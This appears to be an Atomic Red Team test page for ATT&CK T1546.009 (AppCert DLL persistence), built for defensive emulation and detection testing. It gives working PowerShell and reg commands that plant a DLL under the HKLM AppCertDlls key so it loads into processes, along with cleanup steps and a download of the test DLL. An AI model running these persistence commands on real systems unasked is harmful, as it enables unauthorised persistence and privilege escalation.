atomic-red-team/atomics/T1546.009/T1546.009.md

T1546.009 - Event Triggered Execution: AppCert DLLs

Description from ATT&CK

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)

Similar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

Source

Atomic Tests

• Atomic Test #1: Create registry persistence via AppCert DLL

Atomic Test #1: Create registry persistence via AppCert DLL

Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. Once the computer restarted, the DLL will be loaded in multiple processes and write an 'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.

Reference: https://skanthak.homepage.t-online.de/appcert.html

Supported Platforms: Windows

auto_generated_guid: a5ad6104-5bab-4c43-b295-b4c44c7c6b05

Inputs

Name	Description	Type	Default Value
dll_path	path of dll to use	path	PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll
reboot	Set value to $true if you want to automatically reboot the machine	string	$false

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Copy-Item "#{dll_path}" C:\Users\Public\AtomicTest.dll -Force
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f
if(#{reboot}){Restart-Computer}

Cleanup Commands

reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f
Remove-Item C:\Users\Public\AtomicTest.dll -Force
Remove-Item C:\Users\Public\AtomicTest.txt -Force

Dependencies: Run with powershell!

Description: File to copy must exist on disk at specified location (#{dll_path})

Check Prereq Commands

if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}"